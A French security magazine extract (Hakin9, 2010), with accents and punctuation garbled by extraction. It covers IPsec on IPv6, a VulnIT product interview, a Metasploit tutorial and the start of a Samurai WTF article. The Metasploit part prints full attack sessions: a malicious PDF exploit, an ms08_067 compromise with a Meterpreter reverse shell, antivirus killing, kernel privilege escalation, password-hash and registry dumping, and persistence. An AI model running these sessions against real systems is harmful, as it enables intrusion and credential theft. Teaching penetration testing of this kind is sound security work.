Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 18: hakin9_05_2010_FR

Interview

hakin9orgfr 21

Pouvez-vous preacutesenter en quelques mots la socieacuteteacute VulnIT VulnIT La socieacuteteacute VulnIT creacuteeacutee en novembre 2009 est neacutee de ce constat la seacutecuriteacute des systegravemes drsquoinformation est insuffisamment testeacutee dans la gran-de majoriteacute des entreprises par manque de moyens de temps et de compeacutetences

Dans un souci constant drsquoefficaciteacute et de transpa-rence nous nous sommes attacheacutes agrave deacutevelopper une solution accessible tant en termes de simpliciteacute drsquoutilisation que de prix Ainsi le produit lrsquointerface graphique et le rapport drsquoaudit ont eacuteteacute conccedilus pour permettre agrave lrsquoutilisateur de tirer le meilleur parti de la solution et drsquoameacuteliorer la seacutecuriteacute informatique de son entreprise

Nous sommes en avant-premiegravere de la solution innovante VulnIT Pouvez-vous nous en dire plus VulnIT VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation au-tomatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

Lrsquoaccessibiliteacute constitue le facteur diffeacuterenciant de la solution VulnIT En effet lrsquoenvironnement complet em-barqueacute dans la cleacute USB VulnIT assure sa portabiliteacute et sa souplesse drsquoutilisation lrsquoaccessibiliteacute financiegravere eacutega-lement permettant enfin aux entreprises de taille plus modeste de srsquooutiller dans un domaine encore reacuteserveacute agrave une expertise eacutelitiste

Enfin lrsquoapproche par les risques ndash avec une reacuteelle qualification des vulneacuterabiliteacutes tenant compte de leur exploitabiliteacute ndash facilite la priorisation des corrections agrave effectuer

Quelles sont les fonctionnaliteacutes de la cleacute USB VulnIT VulnIT Une fois la cleacute USB inseacutereacutee dans le poste drsquoaudit il suffit de preacuteciser quel(s) serveur(s) auditer pour obtenir en quelques instants un rapport preacutecis et didactique recensant les vulneacuterabiliteacutes deacutetecteacutees et le moyen de les reacutesoudre

La solution VulnIT integravegre ainsi un panel de tests criti-ques sur les bases de donneacutees la messagerie les par-tages de fichiers les connexions agrave distance la super-vision reacuteseau etc Ces tests sont exeacutecuteacutes selon les services identifieacutes sur les serveurs constituant la cible drsquoaudit

De plus la solution repose sur une architecture particuliegraverement eacutevolutive srsquoenrichissant freacutequemment de nouveaux tests de seacutecuriteacute par simple mise agrave jour sur Internet

A qui est adresseacute ce nouveau produit VulnIT Ce produit srsquoadresse en premier lieu aux entre-prises de taille intermeacutediaire (250 agrave 5000 personnes) de tout secteur dont la maturiteacute informatique a deacutepasseacute la mise en œuvre des architectures de seacutecuriteacute eacuteleacutemen-taires (pare-feu antivirus antispam etc) mais qui ne disposent pas encore drsquoun controcircle permanent en seacute-curiteacute informatique ni mecircme pour la plupart drsquoun RSSI nommeacute

Par ailleurs les auditeurs et consultants en seacutecuri-teacute informatique appreacutecieront notre outil pour le gain de temps qursquoil offre en automatisant les tests de seacutecuriteacute fondamentaux et reacutecurrents agrave chaque audit

Pour quand est preacutevue sa sortie officielle VulnIT La premiegravere version de la solution sera com-mercialiseacutee agrave partir de juin 2010 Elle sera rapidement enrichie par les tests de sites web de patch manage-ment et des eacuteleacutements drsquoarchitecture (pare-feux rou-teurs)

Ougrave pourrons-nous acheter la solution VulnIT VulnIT La solution VulnIT sera disponible sur com-mande uniquement en nous contactant via notre si-te web (httpwwwvulnitcom) ou par teacuteleacutephone (0155949271)

Nous remercions M Vincent Maury pour avoir reacutepondu aux questions de Hakin9

VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation automatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

5201022

Focus

Le Projet Metasploit est un projet open-source visant agrave fournir des informations et des utilitai-res destineacutes aux pen-testers aux chercheurs

en seacutecuriteacute des systegravemes dinformations et aux deacute-veloppeurs de signatures dIDS (Intrusion Detection System) Creacuteeacute par HD Moore en 2003 Metasploit eacutetait agrave lorigine un jeu en reacuteseau deacuteveloppeacute en Perl Le plus connu des sous-projets est le Metasploit

Framework deacuteveloppeacute en Ruby agrave la fois un logi-ciel de pen-testing et une plateforme de deacutevelop-pement pour la creacuteation dutilitaires de seacutecuriteacute et dexploits

Parmi les autres sous-projets nous trouvons Warvox (httpwarvoxorg) eacutecrit en Ruby et publieacute en 2009 une suite dutilitaires destineacutee agrave laudit des systegravemes de teacute-leacutephonie

Le projet Metasploit

Parmi les outils deacutedieacutes agrave la seacutecuriteacute informatique le projet Metasploit a marqueacute son temps avec le Metasploit Framework Nous allons preacutesenter cet outil deacutedieacute agrave la recherche leacutecriture et lexploitation de vulneacuterabiliteacutes Nous eacutetudierons les diffeacuterences avec Metasploit Express le nouveau logiciel de Rapid7

cet article expliquebull deacutefinition du projet Metasploitbull lutilisation de Metasploit Framework et Metasploit Express

ce quil faut savoirbull utilisation de Linux

Alexandre LAcAN

Listing 1 Exeacutecution du module auxiliaire fakedns

msf gt use auxiliaryserverfakedns

msf auxiliary(fakedns) gt set targethost 1921680200

targethost =gt 1921680200

msf auxiliary(fakedns) gt exploit

[] Auxiliary module execution completed

msf auxiliary(fakedns) gt

[] DNS server initializing

[] DNS server started

Dans une autre fenecirctre nous pouvons veacuterifier le bon fonctionnement

rootlades-desktophomeuser nslookup updatemicrosoftcom 127001

Server 127001

Address 12700153

Non-authoritative answer

Name updatemicrosoftcom

Address 1921680200

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 23

me Egypt et Jduck Ce rachat a permis linteacutegration de NeXpose (la version Community Edition est gratuite) avec Metasploit Framework associant un scanner de vulneacuterabiliteacutes avec un logiciel dexploitation de vulneacute-rabiliteacutes Nous verrons au cours de cet article lavan-tage que cela procure

Enfin le 22 avril 2010 HD Moore a annonceacute sur son blog (httpblogmetasploitcom) la parution dun nou-veau logiciel Metasploit Express Cet outil est une solution destineacute aux consultants et aux pen-testers professionnels permettant de faciliter lutilisation du Framework Metasploit et de NeXpose en automatisant au maximum les tests de peacuteneacutetrations Contrairement aux autres projets Metasploit Express est sous licence proprieacutetaire et payant Un prix de 3000 $ par utilisa-teur et par an a eacuteteacute annonceacute par HD Moore sur Twitter (httptwittercomhdmoore) Depuis le rachat du projet Metasploit des interrogations sur lavenir de la licence ont eacutemergeacutees Cependant plusieurs fois HD Moore a tenu a rassureacute la communauteacute des utilisateurs en affirmant que le Metasploit Framework restera open-source et gratuit sous licence BSD

Metasploit FrameworkLe Framework dispose de plusieurs base de don-neacutees La base dopcode est une ressource impor-

Le sous-projet Metasploit Decloaking Engine (httpdecloaknet) est un site web contenant un ensemble de test permettant de veacuterifier lanonymat dun utilisateur surfant derriegravere un proxy Un utilisateur du reacuteseau Tor (httpwwwtorprojectorg) peut effectuer ce test pour veacuterifier que les paramegravetres de son navigateur ne trahis-sent pas sa veacuteritable adresse IP

Metasploit Anti-Forensics Project (httpwwwme-tasploitcomresearchprojectsantiforensics) creacuteeacute par Vinnie Liu et maintenu par la communauteacute vise agrave creacuteer des utilitaires et des techniques permettant de se proteacuteger contre la recherche de preuve (forensic evidence)

Enfin le sous-projet Rogue Network Link Detection (httpwwwmetasploitcomresearchprojectsro-gue_network) est un projet visant agrave deacutetecter les liens reacuteseaux (passerelles bornes wifi ) non autoriseacutes au sein de grand reacuteseaux permettant doutrepasser la seacute-curiteacute exisante (proxy IDS hellip) Ce dernier projet na pas eacuteteacute mis agrave jour depuis deacutecembre 2005

En octobre 2009 le projet Metasploit a eacuteteacute racheteacute par la socieacuteteacute Rapid7 (httpwwwrapid7com) eacuteditrice du scanner de vulneacuterabiliteacutes NeXpose HD Moore a rejoint la socieacuteteacute Rapid7 comme Chief Architect of Metasploit et Chief Security Officer of Rapid7 Dautres contributeurs du projets ont rejoint cette socieacuteteacute com-

Listing 2 Creacuteation dun PDF malicieux exeacutecutant calcexe lors de son ouverture

msf gt use exploitwindowsfileformatadobe_libtiff

msf exploit(adobe_libtiff) gt set PAYLOAD windowsexec

PAYLOAD =gt windowsexec

msf exploit(adobe_libtiff) gt set CMD calcexe

CMD =gt calcexe

msf exploit(adobe_libtiff) gt exploit

[] Creating msfpdf file

[] Generated output file optmetasploit3msf3dataexploitsmsfpdf

[] Exploit completed but no session was created

Listing 3 Inteacutegration de NeXpose avec le Metasploit Framework

msf gt db_create

[] Creating a new database instance

[] Successfully connected to the database

[] File rootmsf3sqlite3db

msf gt load nexpose

[] NeXpose integration has been activated

[] Successfully loaded plugin nexpose

msf gt nexpose_connect nxadminpassword1270013780

[] Connecting to NeXpose instance at 1270013780 with username nxadmin

msf gt nexpose_scan 17216154130

[] Scanning 1 addresses with template pentest-audit in sets of 32

[] Completed the scan of 1 addresses

msf gt db_autopwn -t -e -x -r

5201024

Focus

Listing 4 Exploit ms08_067 avec utilisation du payload meterpreter

msf gt use exploitwindowssmbms08_067_netapi

msf exploit(ms08_067_netapi) gt set PAYLOAD windows

meterpreterreverse_tcp

PAYLOAD =gt windowsmeterpreterreverse_tcp

msf exploit(ms08_067_netapi) gt set RHOST

17216154130

RHOST =gt 17216154130

msf exploit(ms08_067_netapi) gt exploit

[] Started reverse handler on 1721615414444

[] Automatically detecting the target

[] Fingerprint Windows XP Service Pack 2 ndash lang

French

[] Selected Target Windows XP SP2 French (NX)

[] Attempting to trigger the vulnerability

[] Sending stage (748032 bytes) to 17216154130

[] Meterpreter session 1 opened (1721615414444 -gt

172161541301103) at 2010-05-15

154435 +0200

meterpreter gt run killav

[] Killing Antivirus services on the target

[] Killing off cmdexe

meterpreter gt run kitrap0d

[] Currently running as AUTORITE NTSYSTEM

[] Loading the vdmallowed executable and DLL from the

local system

[] Uploading vdmallowed to CWINDOWSTEMP

EOcQDQQBndUZfexe

[] Uploading vdmallowed to CWINDOWSTEMP

vdmexploitdll

[] Escalating our process (PID1028)

Windows NT2KXP2K3VISTA2K87 NtVdmControl()-

gtKiTrap0d local ring0 exploit

-------------------------------------------- taviso

sdflonestarorg ---

[] GetVersionEx() =gt 51

[] NtQuerySystemInformation() =gt WINDOWSsystem32

ntkrnlpaexe804D7000

[] Searching for kernel 51 signature version 2

[+] Trying signature with index 3

[+] Signature found 0x285ee bytes from kernel base

[+] Starting the NTVDM subsystem by launching MS-DOS

executable

[] CreateProcess(CWINDOWStwunk_16exe) =gt 1644

[] OpenProcess(1644) =gt 0x17e8

[] Injecting the exploit thread into NTVDM subsystem

0x17e8

[] WriteProcessMemory(0x17e8 0x2070000 VDMEXPLOIT

DLL 14)

[] WaitForSingleObject(0x17dc INFINITE)

[] GetExitCodeThread(0x17dc 0012FF44) =gt 0x77303074

[+] The exploit thread reports exploitation was

successful

[+] w00t You can now use the shell opened earlier

[] Deleting files

[] Now running as AUTORITE NTSYSTEM

meterpreter gt run scraper

[] New session on 172161541301103

[] Gathering basic system information

[] Dumping password hashes

[] Obtaining the entire registry

[] Exporting HKCU

[] Downloading HKCU (CWINDOWSTEMPOEJanufereg)

[] Cleaning HKCU

[] Exporting HKLM

[] Downloading HKLM (CWINDOWSTEMPKNTyHcmjreg)

[] Cleaning HKLM

[] Exporting HKCC

[] Downloading HKCC (CWINDOWSTEMPKWEbwoWCreg)

[] Cleaning HKCC

[] Exporting HKCR

[] Downloading HKCR (CWINDOWSTEMPBItKbjvhreg)

[] Cleaning HKCR

[] Exporting HKU

[] Downloading HKU (CWINDOWSTEMPHYlpiwXmreg)

[] Cleaning HKU

[] Completed processing on 172161541301103

meterpreter gt run persistence

[] Creating a persistent agent LHOST=172161541

LPORT=4444 (interval=5

onboot=false)

[] Persistent agent script is 314297 bytes long

[] Uploaded the persistent agent to CDOCUME~1

ADMINI~1LOCALS~1Temp

vuMDpBKJVoZcWvbs

[] Agent executed with PID 1644

[] For cleanup use command run multi_console_command -

s rootmsf3logspersistenceLADES

168306B60_201005150314clean_up__201005150314rc

meterpreter gt hashdump

Administrateur500aad3b435b51404eeaad3b435b51404ee31

d6cfe0d16ae931b73c59d7e0c089c0

HelpAssistant1000531644fb0b5459853dd11198bd8b22e454

b0675178b1ddf7eac5f6d79d28dd1f

Invit501aad3b435b51404eeaad3b435b51404ee31d6cfe0d1

6ae931b73c59d7e0c089c0

SUPPORT_388945a01002

aad3b435b51404eeaad3b435b51404ee

b367d1ccc5e78972105e1b3e3834d47e

meterpreter gt sysinfo

Computer LADES-168306B60

OS Windows XP (Build 2600 Service Pack 2)

Arch x86

Language fr_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 25

tante destineacutee aux deacuteveloppeurs dexploits Ceux-ci peuvent retrouver la position dopcode dans des pro-grammes attaqueacutes permettant le deacuteveloppement de buffer-overflows et dexploits qui peuvent fonctionner sur diffeacuterentes versions dun systegraveme dexploitation cible

La base de donneacutees dexploits mise a jour reacutegu-liegraverement est une ressource de vulneacuterabiliteacutes docu-menteacutees La base de shellcodes (ou payload) est un ensemble doutil permettant la post-exploitation dune faille Pour ecirctre plus clair lors dun test de peacuteneacutetration le pen-tester utilise un exploit pour injecter un pay-load Lexploit ouvre la faille et y deacutepose une charge utile (la payload) par exemple un serveur VNC ou un shell distant Par analogie guerriegravere la structure dun missile est lexploit lexplosif contenu dans le

missile est le payloadLe payload le plus connu du Framework est le Meterpreter Le Meterpreter est un shell distant destineacute aux machines sous Windows dont nous verrons les capaciteacutes au cours de cet ar-ticle

Enfin Le Framework dispose dune base de donneacutees de modules auxiliaires permettant dapporter des outils suppleacutementaires aux pentesters Par exemple le modu-le servercapturepop3 creacuteeacute un faux serveur POP3 qui accepte toutes les connexions entrantes permettant de reacutecupeacuterer des identifiants ce messagerie Au total le Framework dispose de presque 500 exploits et plus de 270 modules auxiliaires des scanners des modu-les serveurs des fuzzers etc Le listing 1 preacutesente lexeacutecution dun faux serveur DNS renvoyant toutes les requecirctes DNS vers ladresse 1921680200

Figure 2 Liste des hocirctes services et failles deacutecouverts

Figure 1 Page daccueil de Metasploit Express

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

